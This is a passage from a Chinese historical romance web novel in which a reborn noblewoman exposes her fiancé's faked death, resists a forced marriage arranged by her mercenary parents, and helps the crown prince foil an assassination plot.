众闺秀也炸了锅,纷纷看向洛云舒,或同情,或担忧。 洛云舒抬眸望去,眼泪簌簌而落:“霍郎,是你吗?我莫不是在做梦?” 霍少远将怀中的女子抱得更紧,冷脸看向别处:“我不是你口中的霍郎,你认错人了。” 这时候,霍娇娇冲上前去,围着霍少远仔仔细细地看了好几圈,不禁喜极而泣:“大哥,太好了,你没死!” “这位姑娘,你认错人了。” “怎么会?你耳朵这里的疤是我小时候拿玉如意砸的……”说着,霍娇娇猛然间想到了什么,急忙捂住自己的嘴。 洛云舒则步步上前,站到霍少远面前。 “霍郎,真好啊,你没死。” “你认错人了。”霍少远依旧坚持这个说辞。 洛云舒心中冷笑,这是要装作不认识她。 可,她既然走到了这一步,就不会容许他装不认识就糊弄过去的。 眼看着霍少远要走,洛云舒上前一步,抓住他的袖子,满脸欣喜:“霍郎,你没死真是太好了!后天便是你我大婚的日子,我原想着悬梁自尽,为你殉节。如今知道你还活着,我喜不自胜。想必是上天怜惜,不肯让你我这对有情人分离……” 然而,洛云舒的话还没说完,霍少远怀里的女子就忍不住了:“少远哥哥,你们是有情人,后天便要大婚了,那我是什么?” 一句话,坐实了霍少远的身份。 他想否认,再不可能。 孙玉瑶也在这时候露出脸来。 洛宝珠惊讶极了:“玉瑶姐姐,怎么是你?” 洛云舒惊愕万分,一脸的不可置信:“霍郎,你何时竟和玉瑶这般亲近了?” 霍少远冷眼看过来:“洛云舒,你工于心计,不知羞耻,哪里比得上玉瑶半分?” “我比不得她?”像是听到了什么好笑的笑话一般,洛云舒双手抓住霍少远的袖子,失笑出声,“有道是身体发肤,受之父母。听闻你战死沙场,我顶着大不孝的罪名,连这条命都不要,自请为你殉节,这便是你说的工于心计,不知羞耻?她孙玉瑶明知我与你有婚约,却与你纠缠不休,我怎就比不得她半分了?” “够了!”霍少远一把扯回自己的袖子,声音比刚才更加冷硬,“洛云舒,我断不可能与你成婚,你只管死了这条心。我的妻子,此生只有玉瑶一人!” 第7章 此生只她一人 “此生只她一人?”洛云舒仓皇地后退两步,满目哀痛,“你此生只她一人,那与你有婚约的我,又该当如何?” “这婚约,自当作废!” 洛云舒怒极,扬手指向霍少远:“好一个负心汉!你战死的消息传回京城,我食不知味,夜不能寐。你霍家逼我为你殉节,我甘之如饴,只想着到九泉之下与你团聚,做一对鬼夫妻。怎料想,你原本就是活着的!霍少远,你欺得我好苦啊……” 说着,洛云舒捶胸顿足,好不哀伤。 这话,她是代上一世的自己说的。 上一世,她为霍少远殉节后才知道他还活着,成为鬼魂的她即便是再愤怒,也发不出任何声音。 可现在,她把这些话说出来了。 说完,她两眼一闭,放心地“晕倒”。 之后,周围的声音就变得嘈杂起来。 有灵雀和知意呼唤她的声音。 有洛婉的哭声。 有闺秀们的议论声。 更有海云澜怒斥霍少远的声音:“好你个霍少远,你假死,乃是欺君之罪。待我回去之后,便让我父亲上书陛下,参你一个欺君罔上、不忠不义、始乱终弃的罪名!” “海云澜,你知道什么,就在这里乱嚷嚷?”是霍娇娇。 霍少远一个大男人不方便与女人争吵,霍娇娇便跳了出来。 周围,很热闹。 洛云舒能感觉到自己被抬上了马车,为了不露出破绽,她一直到回府之后才慢慢“苏醒”。 这时,恰逢灵雀从外面打探消息回来,她显得很兴奋:“大小姐,这才多大一会儿功夫,霍少远还活着,且对您始乱终弃的事情就已经传遍了大半个京城。如今,街头巷尾都在议论此事,霍家要想把这件事压下去,那是万万不能的!” 况且,先前霍家有意宣扬洛云舒为霍少远殉节之事,几乎传得京城中人人皆知。 也正是因为如此,如今知道霍少远还活着,才会这般轰动。 霍家如此,也算是搬起石头砸了自己的脚。 灵雀缓了口气,又道:“听闻海刚正海御史已经入宫,要参霍少远欺君之罪!” 洛云舒舒然一笑。 海刚正人如其名,是个眼里揉不得沙子的人。 他碰上这样的事情,没有不出头的道理。 这也是她今日邀请海云澜的原因。 海云澜像极了她父亲,刚正直言,向来是有什么说什么。 只不过她说话太直,没什么朋友。 这时候,知意悄声道:“大小姐,老爷来了。” 洛云舒立刻躺下。 灵雀和知意站到她旁边来,直抹眼泪。 洛守礼踹门而进,一进门就大声质问:“云舒,外面都传遍了,这到底是怎么一回事?” 绕过屏风看到洛云舒躺着,他有些生气:“都什么时候了,你怎么还躺得下去?” 知意跪下哭诉:“老爷,大小姐今日受了刺激,晕倒了。” “知意,你且仔细说来,今日发生了何事?”洛守礼撩袍坐下,并不去查看洛云舒的情况,只顾着问知意。 知意一五一十,把今天发生的事情娓娓道来。 “糊涂!糊涂啊!”洛守礼气得直拍桌子,“把你们家小姐叫醒!” 灵雀装着样子,叫醒了洛云舒。 洛云舒悠悠醒来,迎面看到的,就是洛守礼的怒容。 “云舒,你向来稳重,怎么今日办事却是这般的小家子气?” 洛守礼的指责,劈头盖脸地砸了下来。 洛云舒羽睫低垂,满脸哀伤:“女儿不知做错了什么,竟惹得父亲这般震怒?还请父亲明示。” “你今日既然撞见了霍少远,就该想着为他遮掩。况且这件事是霍少远理亏,你若是按下此事,为父便可拿捏霍家。可你……” 说着,洛守礼痛心疾首。 这是多好的一个拿捏霍家的机会啊,竟然生生错过了。 “父亲,女儿只以为他死了,突然间看到他活得好好的,还和表妹搂抱在一起,您让女儿如何接受?况且当时那么多人,就算是女儿想遮掩,也遮掩不了。” “纵然是大庭广众之下无法遮掩,你也该想着为他开脱。他是你未来的夫婿,你与他之间,一荣俱荣,一损俱损。现在好了,外面对此事议论纷纷,听闻这会儿海御史和阮丞相也入宫了,此事还不知会是个什么光景。” 说着,洛守礼忧心忡忡。 看着洛守礼如此,洛云舒心中一片淡漠。 若是个正常的父亲,此刻总该安慰她一两句的。 可在洛守礼这里,只有指责。 甚至,洛守礼只顾着担心霍少远的处境,担心霍家会不会因此迁怒他,却一点儿都没想过,在这整件事里,最受伤的人,是她。 明明上一世变成鬼魂的时候,她就惊觉父亲和母亲不爱她,可到了现在,她还是会心痛。 洛守礼的指责,还在继续。 洛云舒突然打断他:“父亲。” “什么?”洛守礼皱眉。 “父亲,您可曾想过,今日我若是没有发现霍少远,后天我嫁过去,人就没了?” 洛守礼嘴巴微张,皱了皱眉:“那又怎样?” 那又怎样? 简简单单的四个字,击溃洛云舒的最后一丝希冀。 她突然就释然了。 是啊,那又怎样? 若她死了之后,洛守礼发现霍少远还活着,自然可以以此为契机,向霍家要求更多。 毕竟,他洛守礼可是没了一个女儿啊! 上一世,洛守礼不就是这样做的吗? 若重来一遭,洛守礼还是会做出同样的决定。 洛守礼还要说什么,这时候,孙氏走了进来。 一进来,就是指责:“云舒,你今日真是太放肆了!玉瑶是你亲表妹,你当众斥责她,你让她的脸面往哪里放?亏得你舅舅还把你当亲女儿,你就是这样对玉瑶的?” “舅舅把我当亲女儿?敢问母亲,舅舅是供我吃,还是供我喝了?” 孙氏瞪大双眼:“你说话怎能如此刻薄?那是你亲舅舅!” “所以呢,母亲到底想说什么?” “你再办个宴会,出面澄清玉瑶没有勾引霍少将军,就说、说是你让玉瑶给霍少将军送东西。对,就这样说。” 洛云舒摇头拒绝:“此事千真万确,没有澄清的必要。” “怎么没有?此事事关玉瑶的名声,那可不是小事!”说着,孙氏撇撇嘴,嫌弃地看了洛云舒一眼,“要我说,玉瑶和霍少将军搅合在一起,这件事还是得怪你。” 第8章 你怎么还这般镇定? “怪我?”洛云舒愣是被气笑了,“母亲倒是说说看,此事如何能怪到我头上来?” “若不是你太过招摇,引得霍少将军到府里来,他又怎会阴差阳错碰见玉瑶,对她一见倾心?说到底,还不是因为你拢不住他的心。” 孙氏说完,面带埋怨,浑然不知自己吐露了怎样的秘密。 洛云舒只觉得齿冷:“所以,霍少远是在咱们府上见到孙玉瑶的?他二人互通款曲,母亲早就知道,单单就瞒了我?” “这有什么瞒你的?不过是怕你知道了难过,不想让你徒增烦恼罢了。瑶儿是我看着长大的,她跟你不一样,是个不知道争抢的性子。来日你二人共事一夫,她也不会给你惹事。” “共事一夫?我真不知,母亲竟想的这般长远。” “那是自然。”孙氏甚至有些得意,“做事情自然要走一步看十步,想的长远一些。有些事你考虑不到,我这个做母亲的自然得为你考虑。你啊,到底是年轻,只顾着眼前。这男人哪个不是三妻四妾的?霍家是国公府邸,富贵不比寻常,与其到时候便宜了别人,倒不如把这好处留给自家人。说到底,还不是因为你吸引不了霍少将军。玉瑶是你亲表妹,到时候你二人和谐相处,传出去不也是佳话一桩?” “佳话?母亲若是自个儿能做到这些,后院的这些姨娘们,也就不必过得这般战战兢兢了。” “云舒,你……” “够了,都少说两句!”洛守礼怒声斥责,他瞪了孙氏一眼,“这会儿就先不要说你娘家那些事了。待我与……” 洛守礼的话还没说完,外面就传来周安的声音:“老爷,霍家来人了,要见您。” “好,我这就过去。”洛守礼忙不迭地出去。 孙氏还要说,洛云舒直接打发她:“母亲不妨去看看,霍家来人要说些什么。可别是觉得表妹家世不好,为了平息流言,要处置了她吧?” 一听这个,孙氏就慌了,也顾不上洛云舒,急忙出去了。 洛云舒叫过知意,吩咐道:“知意,以父亲对霍家的谄媚,霍家来人,必然是迎去正厅。如果我没有记错,正厅那边,今天轮到阿起去奉茶。待会儿你过去,问问阿起霍家来的是谁,有何用意。” 知意领命,立刻就出去了。 再回来的时候,知意脸色泛白。 “小姐!”她一开口,就先落了泪,又生生将这泪意逼回去。 洛云舒拿帕子为她擦了擦眼角:“不急,慢慢说。” “霍家仍坚持让您嫁过去,老爷答应了。” 洛云舒浅浅笑了:“那这一次,他给我卖的是什么价格?” 知意带着哭腔:“聘礼追加三成,似乎还许诺了别的。谈到要紧处,老爷把阿起他们都支了出来。” 洛云舒脸上笑意未减。 这一次是霍家理亏,她这好父亲怎会不借机讨要好处呢? 知意泪如雨下:“大小姐,您赶紧想个全身而退的法子吧。眼下霍少将军假死的事情已经闹开,您若是嫁到霍家,没好日子过的。” 霍夫人是个严苛又护短的人。 这次的事情,她不会觉得是霍少远的错,只会觉得是洛云舒不懂事,把这件事闹开了。 既然如此,洛云舒嫁过去,等同于羊入虎口。 洛云舒并不着急,她摩挲着手里的丝帕,缓缓道:“霍家来人谈论亲事,必然是确定霍少远不会被陛下怪罪,这才想着为他挽回名声。想必,是霍贵妃出手了。知意,你守在府里应付着。灵雀,随我出府。” 在这件事上,她需要做到知己知彼。 她不能做瞎子聋子,什么都不知道。 所以,她打算去海府走一趟,找海云澜探探消息。 然而,让她没想到的是,还不等她出门,海云澜就先找来了。 今天天不算热,她却脸上带汗,一坐下就直嚷嚷:“气死我了!真是气死我了!” 洛云舒亲自给她倒了一杯茶:“喝杯茶缓缓。” 海云澜看她一眼,义愤填膺道:“洛云舒,你怎么还这般镇定?你可知,陛下轻拿轻放,压根儿就没有处置霍少远。这可是欺君之罪啊,就这么让他躲过去了!” “海大小姐,这件事我还不知道内情。可否请你仔细说说。” “好!我父亲去参霍少远的时候,陛下震怒。就在陛下打算宣召霍少远的时候,贵妃娘娘来了。也不知她对陛下说了什么,到最后,这件事就成了霍少远重伤昏迷被孙玉瑶所救。那孙玉瑶摇身一变,竟然成了霍少远的救命恩人,还得了陛下的赏赐。可恶,就这么让他们糊弄过去了!” 果然! 洛云舒凝神细思。 霍少远在作战上是有些真本事的,再加上如今朝中的将领青黄不接,所以,对于霍少远这个备受瞩目的新星,陛下自然不愿意让他就这般陨落。 再加上贵妃求情,陛下从大局考虑,自然会轻拿轻放。 至于这些儿女情长的琐事,陛下是不会在乎的。 “洛云舒,这件事你不能就这么认了!你今日若是没有阴差阳错发现霍少远还活着,后天你一上花轿,就没命了。霍家欺你到这种地步,你得反抗!” “反抗?”洛云舒冷笑,“霍家已经来人重提婚事,我父亲已经答应他们,婚期照旧。后日,我便要嫁给霍少远。” “啊?”海云澜惊呆了,好半天才找回自己的声音,“你父亲怎么能这样?霍家如此欺你,他该为你出头的!” 是啊,父亲本该为她出头的。 可这本该为她遮风挡雨的人,反而成了扑向她的暴风雨。 “不行啊,洛云舒。你父亲都已经同意了,你是必须要嫁过去的。那霍少远心里没你,你嫁给他是不会幸福的!” “我知道。”洛云舒眉目微敛。 她一个未嫁女,婚事都握在父母手里。 海云澜已经急哭了。 洛云舒有些意外。 往日里,她和海云澜并不算熟悉。 她没想到,海云澜竟然因为她的事,就这么哭了。 她上前,把手里的帕子递给海云澜:“擦擦眼泪吧,别把妆哭花了。” 海云澜接过帕子,为洛云舒叫屈:“洛云舒,你琴棋书画样样精通,待人接物更是谦和有加,你是这天下间最完美的女子,本该享受无尽宠爱,不该遭受这样的厄运!” 洛云舒言辞恳切:“多谢你为我考虑。” “我帮不上你什么,你得为自己考虑。对了!”说着,海云澜突然两眼放光,“洛云舒,你得闹起来!一哭二闹三上吊,得让你父亲知道,你不满意这桩婚事,他会屈服的。每次我父亲让我做我不喜欢做的事情,我都是这样闹的。” 洛云舒笑着摇了摇头。 这些招数,向来只对在乎自己的人有用。 “这也不行,那也不行,难道真的就没法子了吗?” “云澜,多谢你来告诉我这些。我放心,我会尽己所能去抗争的。” “我、我回去找我大哥,让他帮我想想法子。”说完,海云澜顾不上和洛云舒告别,急匆匆地走了。 洛云舒起身,打算亲自送海云澜出去。 但一出院门,哪里还有海云澜的身影? 她正打算回去,一转脸,却看到霍少远朝她走来…… 第9章 少远哥哥,你来啦! 洛云舒的脸色倏然一僵,转身就要进去。 “云舒!” 瞬间,洛云舒有一种被毒蛇盯上的感觉,浑身发冷。 片刻之后,却是无尽的愤怒。 顷刻间,霍少远已经走到她面前。 “云舒,你还在生我的气?” 洛云舒垂眸,并不言语。 她在试探霍少远来这一趟的用意。 这时候,沉默反而是她的底气。 “在桃花林的时候,你太激动了。以后切不可如此。做我的夫人,须得喜怒不形于色。尤其是在外人面前,一定要维护我的颜面。这一点,你切记。” 洛云舒看他一眼:“你是何时回来的?” “有两三日。” “所以,我后日便要嫁你,且要为你殉节的消息,你是知道的。” “是,我知道。”霍少远皱了皱眉,似乎是有些不耐烦,“你无非是气我知道你要殉节却不露面。可你却不知道,你这一次闹开给我造成了多大的麻烦。你以后会是我的夫人,须得顾全大局,不要小家子气。” “麻烦?你可知这次稍有差池,我就没命了?” “知道。你纵然是死了,也是死得其所。你的名字会出现在我霍家的祠堂之中,供后世子孙敬仰。我霍家子孙,将世世代代铭记你。” 说到最后,霍少远深深地看了洛云舒一眼:“说到底,你也不算亏。” “不算亏?”洛云舒愣是给气笑了,“我一条命,换你轻飘飘的三个字?” “你若是有这个心思,尽早摒弃掉。我霍府是国公府邸,是历代先祖苦心经营,方有今日的鼎盛。于我霍家而言,名声比什么都重要。” “若当真如此,那假死脱身的你,此刻是否该以死谢罪?不然,你就不怕污了你霍家高贵的门楣?” “洛云舒!你简直是不可理喻!”霍少远的声调陡然拔高,“我的话你怎么就听不进去?我说过了,我假死是有缘由的,是为了大局考虑。” “我还真是不知,什么大局需要你假死?” “自然是和三……”说到这儿,霍少远意识到了什么,没再接着往下说。 洛云舒微微沉默,嗅到了朝堂纷争的味道。 三? 三什么呢? 洛云舒第一个想到的,是霍贵妃的儿子,三皇子。 所以,霍少远之所以假死,是为了成为三皇子藏起来的一把刀。 细细想来,当初霍少远假死复生之时,恰恰就是三皇子风头正盛的时候。 到最后,也的确是三皇子登上了皇位。 所以,霍少远假死,是很重要的一步。 借假死避开与她成婚,只是其次。 霍少远并不仅仅是沉醉于儿女情长,他心中有更远大的抱负。 可,即便是他再有抱负,也不该用她的死来做垫脚石。 “总之,我不会亏待你。”最终,霍少远单手背后,脸上显露出几分不耐烦,“届时玉瑶会随你一起嫁过去。你为正妻,她为平妻,你二人不分上下。” 洛云舒神色平静,开始试探:“既然你钟爱孙玉瑶,何必要委屈她做平妻,直接娶她一人不是更好?” “你我早有婚约,我不会做那等背信弃义之人。” 洛云舒心底冷笑。 还真是既要又要啊。 霍少远不肯在这个时候退婚,不过是担心自己的名声罢了。 毕竟,他才闹出假死的事情,若是这时候再退婚,会被人质疑品性。 更何况,她先前要为战死的他殉节,已经让全京城的人见识到她的忠贞不屈,成为京城贵女的典范。 舍弃这样的她,霍少远会遭到诟病。 这时候,霍少远又说道:“玉瑶是我的救命恩人。说到底,在这件事上,你是理亏的。所以,嫁进霍家之后,你须得事事以玉瑶为先。在外人面前,你是霍家的少国公夫人。可在内,一切由玉瑶说了算,你不可忤逆她。不然,霍家家法严苛,你受不住的。” 洛云舒反问:“我倒是不知,我如何理亏了?” 霍少远瞪了洛云舒一眼:“当时我受伤被人所救,眼睛不能视物,唯独对她手腕上的玉镯记忆深刻。最初,我以为那人是你。可那镯子后来戴在玉瑶的手上,我才知道镯子当初被你强抢了去。单凭此事,我不杀你,已是仁慈。” “若我说那镯子原本就是我的,只怕你也是不信的,对吧?” “你母亲亲口证实,那镯子原本就是玉瑶的。玉瑶寄居在你洛家,你强势,见玉瑶的镯子好,便抢了她的。这话是我亲耳听你母亲所说,你自己的母亲,还能冤枉你?” 一句话,压得洛云舒几乎喘不过气来。 是啊,她自己的母亲,还能冤枉她吗? “若真是她冤枉了我呢?” 霍少远冷笑,表情不屑。 很显然,这话,他是不信的。 “我已确认镯子是玉瑶的,你无须再狡辩。” 洛云舒看了他一眼:“按霍少将军的意思,这镯子是谁的,你便心仪谁?” “洛云舒,你休要强词夺理。我要找的,是当年救我之人。这镯子,便是信物。” “既然如此,我倒是觉得,霍少将军不如娶了这镯子。” “洛云舒!”霍少远怒极,他瞪着洛云舒,难掩怒意,“事到如今你还在狡辩,可见你没有丝毫的悔过之心!” “我无过,如何悔过?” 她想激怒霍少远,想看看他对她的容忍度。 若惹得霍少远大怒,能主动退了这婚事才是最好的。 虽然不大可能,但,总要试一试。 霍少远的怒意未减分毫,他看着洛云舒,眸色愠怒:“过刚易折。你这性子若是不改一改,日后进了我霍家的门,怕是要受罪。” 深宅大院,有的是折磨人的手段。 这是霍少远的威胁。 娘家靠不住,夫家若是再严苛一些,这日子是没法过的。 “霍少将军这是在威胁我?” “是。”霍少远直言不讳,却又话锋一转,“你若是听话,便是霍家堂堂正正的少国公夫人。” “哦。” 这一声,洛云舒应得轻描淡写。 却激怒了霍少远。 他瞪着洛云舒,怒不可遏:“瞧瞧你这态度,哪里有半分做少国公夫人的仪态?” 他的话音刚落,凉亭那边就传来一声黏腻的呼唤:“少远哥哥,你来啦!” 第10章 我与她,没什么正事好说 是孙玉瑶。 她穿着一身粉若桃花的长裙,头上梳着随云髻,发髻上面簪着一枚粉玉雕成的桃花簪,正提着裙角,飞奔而来。 俏丽的脸颊上,满是对情郎的渴盼。 却在靠近的时候停下脚步,双手捏着手里的帕子,粉嫩的脸颊上流露出几分怯意:“少远哥哥,我该不会耽误你和姐姐说正事了吧?” 霍少远一反刚才的冷硬,语气和善,朝着孙玉瑶迎过去:“怎么会呢?我与她,没什么正事好说。” 说话间,他已经握住孙玉瑶的手,满目疼惜:“手这么凉,是不是穿的太少了?” 孙玉瑶低头含笑:“知道少远哥哥过来,我心里着急,顾不上穿厚衣服就过来了。” 霍少远喉结微动:“瑶瑶,你放心,你对我情深至此,我必不负你。” “少远哥哥,你快别这样说。不然姐姐该不高兴了。” 洛云舒瞥了她一眼:“玉瑶妹妹,你这话就不对了。我是正妻,正妻当有容人之量,不会介意的。你们自便,我就不奉陪了。” 一瞬间,孙玉瑶的脸色变得难看极了。 说完,洛云舒看都没看二人一眼,转身进了自己的院子。 她有正事要办,懒得再跟这二人掰扯。 回房间之后,洛云舒仔细梳理了一下上一世自己所知道的事情。 当时,她做了鬼,因为怨恨,她一直跟着霍少远,想看他遭到报应。 自然知道上一世在她殉节的第二日,发生了一件大事。 这件大事由霍少远主导,事情却是为了三皇子所做。 遭受重创的,则是当朝太子裴行渊。 裴行渊是先皇后所生,既是长子,又是嫡子,人品端方,在他刚十三岁这年就被封为太子。 如今十九岁的裴行渊,行事有度,体恤百姓,在百姓之中素有贤名。 可他,碍了三皇子的路。 上一世,假死的霍少远出其不意地出现,刺杀太子,使得太子腹部中剑,身体受损,以至于不久之后的一场风寒就要了他的性命,太子之位也被三皇子取得。 洛云舒不愿嫁给霍少远,可父母之命,媒妁之言,她根本就无法违抗。 朝廷又不许未婚的女子立女户,所以,现在她唯一的出路就是找一个人,阻挠这桩婚事。 这个人的身份要比霍家高贵,而且,还不能惧怕霍家背后的霍贵妃。 如此说来,那就只有一个选择——接近太子。 上一世,太子被刺杀,是在望江楼。 做鬼的时候,洛云舒零零星星听到霍少远对孙玉瑶提起,太子要在望江楼见一个人,而这个人,掌握着三皇子的一个罪证。 霍少远的目的,就是杀了这个人,同时刺杀太子。 第二日,洛云舒早早地去了望江楼。 上辈子做鬼的时候,她见过太子。 故而在太子出现的第一时间,洛云舒就认出了他。 他身着淡青色锦袍,腰间系墨色玉佩,华贵而不张扬,眸色温和,唇角总噙着一丝笑意,给人一种很和善的感觉。 但他身后跟着的黑衣侍卫却是眼神凌厉,洛云舒才刚站起身来,黑衣侍卫手中的剑就已经出鞘。 他很敏锐。 洛云舒想要开口,太子已经上了二楼的雅间。 黑衣侍卫仍看着她,神情戒备,洛云舒只得坐下。 看来,接近太子,不容易。 洛云舒想了个法子,扮作上茶的店小二,敲响了太子所在的雅间的门。 然而,她才刚进去,一柄剑凌空袭来,挑掉她头上的帽子,满头青丝披落双肩。 洛云舒握紧手里的茶壶提梁,看向太子:“太子殿下,臣女并无恶意,可否给臣女一个解释的机会。” 太子神色如常,唇角的笑意愈发浓郁,仿佛眼前所见不过是寻常:“你既自称臣女,孤自然得给你这个机会。说。” 既自称臣女,便不是宵小之辈。 话虽如此说,裴行渊却没让那黑衣侍卫远离洛云舒。 他很警惕。洛云舒想。 这样也好,他足够警惕,接下来才会在意她所说的话。 怕太子给她的时间不多,洛云舒挑最重要的说:“臣女是户部侍郎洛守礼之女洛云舒,今日求见殿下,是想告诉殿下此地不宜 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“臣女算到了,故而戳破了霍少远假死的秘密,破了为其殉节的死局。至于明日的劫难,臣女也算到了,并且算到,会有贵人助臣女脱离此劫。臣女亦会助贵人,青云直上。” 说着,洛云舒看着太子,目光灼灼。 现在,她只能赌。 哪怕是,故弄玄虚。 太子舒然一笑:“你的意思是,孤若是不帮你,孤自己也在劫难逃?” “世间事,终究要讲一个因果报应。做好事的人,会获得福报。” “可是,孤更相信,求人不如求己。罢了,今日孤心情好,且先陪你玩上一玩。就看你,敢不敢玩了。” 说完,太子招手叫过黑衣侍卫,二人到了屏风后。 再出来的时候,黑衣侍卫换上了太子的衣服,而太子则身着黑色劲装,手里提着黑衣侍卫的佩剑。 侍卫一个闪身,消失在窗外。 太子则拿着佩剑站在洛云舒身后,轻声道:“祝三很快就会进来。洛氏云舒,让孤看看你的本事。” 第11章 失我者,永失 说完,太子持剑站在洛云舒身后,一副事不关己的姿态。 太子没有信她的话,并且,想看看她的本事。 洛云舒心下了然,表情并不慌乱,只把散乱的头发挽成发髻,好显得不那么凌乱。 很快,外面响起敲门的声音,声音很规律,连敲三下,中间会有片刻的停顿。 这应该是太子和祝三之间设定的暗号。 所以,洛云舒没有言语。 直到接连敲了五个三下之后,外面响起一个男人的声音:“客官,上好的碧螺春,您要几壶?” “不要碧螺春,要雨前龙井。”太子的话,掷地有声。 很快,门从外面被人打开,一个身材中等的男人走了进来。 是祝三。 看到洛云舒,祝三愣了一下,转身就想出去。 “祝三,如果我是你,就不会选择从这里走出去。” 洛云舒直接提了祝三的名字,是想让祝三知道,她明白他的底细。 祝三很快转过身来,谨慎地把门关上,用狐疑的目光打量着洛云舒:“这么大的事,太子殿下让你一个女子来?” “这种事,越出人意料越好。今日若是太子殿下亲自前来,太过扎眼,容易引人注意。换做是我,既出人意料,又把事情给办了,何乐而不为?” 祝三没答话,只看向洛云舒身后的太子:“你这黑衣护卫,倒是气质卓然。” “能在太子殿下麾下做事的人,又岂是凡俗之辈?” 祝三沉思片刻,却还是犹豫着,没有开口。 就在这时候,门突然被人从外面打开,两个黑衣人闯了进来。 洛云舒来不及多想,抓起桌子上的茶壶朝着二人砸去,同时朝着祝三大叫:“到这边来!” 祝三立刻往这边而来。 可茶壶只能挡住二人很短的时间,洛云舒别无退路,只得拔出藏在袖子里的**,对准二人,眼神凛然:“别过来!” 两人对视一眼,却没把洛云舒放在眼里,仍步步紧逼。 洛云舒握紧手里的**,她没有乱挥,只警惕地看着二人,谁敢靠近,她就给谁一下。 其中一人轻笑:“小娘子,你这**,握得稳吗?” 回应他的,是突然刺入他心口的**。 **的另一端,握在洛云舒手里。 另一**惊,想要上前,却被祝三出其不意地袭击,晕倒在地。 祝三动作敏捷,很快把人给捆了。 而被洛云舒刺中心口的这个,也倒了下去,眼睛却睁着。 这时候,太子突然握住洛云舒的手,把那把露在外面许多的**重重地按了下去。 顷刻间,此人口吐血沫,不动弹了。 洛云舒看得心惊,手不由得往回一缩。 她**了。 一旁,祝三有些傻眼:“你们……” 洛云舒勉强维持着表面的镇定,语气平和:“太子殿下觉得我胆子不够大,有意历练我,故而没让我的护卫在第一时间出手。” “原来如此。看来,太子殿下对底下的人不错。”祝三喃喃着,伸手在头发里掏啊掏,掏出一张叠起来的纸,递了过来,“这是我从账本上撕下来的一页,有了这个,足以证实三殿下**赈灾款。” 洛云舒接过,又问道:“你最开始没打算把这个交出来吧?” 祝三迟疑了一下才回答:“是。我交出这个之后就再无底牌,又不相信太子会护住我,所以原本只打算透漏一点消息。但是,你区区一个女子,太子殿下都愿意栽培你、重用你,换做是我,太子殿下会更愿意。” 这个理由,洛云舒想到了。 但是,从祝三的嘴里说出来,才更有效果。 站在一旁的太子,自然也听到了这些话。 她的目的,达到了。 祝三给出东西,他们自然得护着他。 毕竟,刚才来的这两个人只是马前卒,只有确认解决了祝三,后面伺机而动的人才会出来。 黑衣侍卫在这个时候出现,带走了祝三。 洛云舒不解:“不把埋伏的人引出来吗?” “不用。孤知道是谁。” “谁?” “你的未婚夫。” 洛云舒微愣:“你怎么知道?” “霍少远不会无缘无故假死。” 果然,太子很敏锐。 他从霍少远假死这件事入手,抽丝剥茧,猜测到了真 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然而,她从正午等到太阳西斜,又从太阳西斜等到天色暗淡,她没等来任何消息,反倒是把孙氏和喜婆等来了。 孙氏一过来就嚷嚷着让丫鬟给她倒茶:“赶紧的,说了这么多话,可真是累死我了!” 细听之下,这声音的确是有些沙哑。 洛云舒心中不安,懒得应付她。 孙氏却开始发难:“云舒,明日便是你成亲的日子,你摆这一副苦瓜脸给谁看呢?成亲就该欢欢喜喜的。你瞧瞧玉瑶,她一直都是笑着的。” 喜婆也附和道:“夫人对表小姐真是疼爱,一大早便跟她讲大婚的细节,一直说到现在。便是亲生母亲,也只能做到这一步了。” “那是。我亲侄女出嫁,兄长和嫂嫂都不在身边,我这个做姑姑的不帮衬着怎么行?”说着,孙氏很是得意。 洛云舒不以为然,只看向门外。 她在等消息。 却也忍不住心里犯嘀咕,莫非,太子食言了? 第12章 谁给你的胆子? 今晚,应该会有好消息来。 只不过,好消息没来,孙玉瑶倒是先来了。 她穿着一件大红锦裙,唇角微微扬起,眉目间透着高兴二字。 进来之后,她没看洛云舒,反倒是先挽住孙氏的胳膊,语气热络,暗含嗔怪:“我的好姑姑,不是跟您说了让您先休息,我来跟云舒姐姐交代嘛?您怎么又过来了?您在我那儿待了一整天,我真怕您累着。” 孙玉瑶的殷勤,孙氏很受用:“云舒办事老成,我没什么好担心的。原本我也只是过来看看,一会儿就走了。余下的,让喜婆跟她交代就行。” “姑姑,这就是您的不是了。到底是成婚前的大事,怎么能让一个外人来给云舒姐姐说?反正该说的您都告诉我了,我跟云舒姐姐说就行。” “好,那我就依着你的意思,回去歇着。”说完,孙氏看了洛云舒一眼,“规矩什么的,喜婆会教你。我这个做母亲的只想忠告你,成亲之后到了别人家,不比在自个儿家里,须得谨言慎行。这一次,霍少将军也是看在玉瑶的面子上才没有跟你退婚,你须得记着玉瑶的功劳,婚后莫要与她置气。毕竟,她是平妻,与你在地位上没什么区别。” 洛云舒看过去,唇角微弯:“女儿有句话,想问问您。” “你说。” 洛云舒的视线路过孙玉瑶手腕上的玉镯,又转头问孙氏:“母亲,这镯子是谁的?” 孙氏的眼神闪了一下,语气强硬:“如今这镯子戴在玉瑶手上,那就是玉瑶的。玉瑶跟你不一样,你是有身份的官家千金,莫要与她相争,平白失了官家千金的身份。” 洛云舒倏然一笑:“愿母亲此生,能一直这样公正。” 公正么? 这心,怕是偏到天际去了。 最后一次机会,她给了。 孙氏没有细究洛云舒话里的意思,只问道:“你笑什么?你是不是有什么打算是我不知道的?” “母亲这话倒是让我听不懂了。明日便是我大婚之期,我开心,想笑,难道不对吗?”洛云舒微微歪着脑袋,透出几分疑惑来。 孙氏神色讪讪:“对,你是该高兴。” 说完,孙氏转身就出去了,没有丝毫的迟疑。 孙氏一走,孙玉瑶脸上的笑容瞬间敛去。 她看向那喜婆,吩咐道:“你先出去。” 喜婆很听话,立刻就出去了。 喜婆一走,孙玉瑶看向洛云舒的目光就带了几分嘲讽:“洛云舒,其实你也看得出来,在姑姑眼里,你这桩婚事根本就不值得开心,是不是?” “的确不值得开心。那么你呢,你开心吗?” “能嫁给我的如意郎君,我自然是开心的。只可惜这份开心,姐姐此生都体会不到……啊!” 孙玉瑶的话还没说完,脸上就挨了一个耳光。 是知意打的。 知意面寒如霜,训斥道:“表小姐,容奴婢提醒您一句,在洛府,您只是一个客居的表小姐,如此编排主家的大小姐,实在是过分。” 孙玉瑶愤怒不已,她扬手指向知意,眼睛却看向洛云舒:“你现在立刻把她给我发卖出去,要直接发卖到最低贱的窑子里去。否则,我跟你没完!” “哦?你要如何跟我没完?” “我会告诉少远哥哥,让他知道你欺负我。以后,你在霍家的日子就不会好过。”说着,孙玉瑶靠近,压低了声音说道,“内宅之中,多的是折磨人的手段。就算是你死在霍府,也无人怀疑。” 洛云舒反手,又给了孙玉瑶一个耳光:“一个妾,竟敢当面编排主母,谁给你的胆子?” 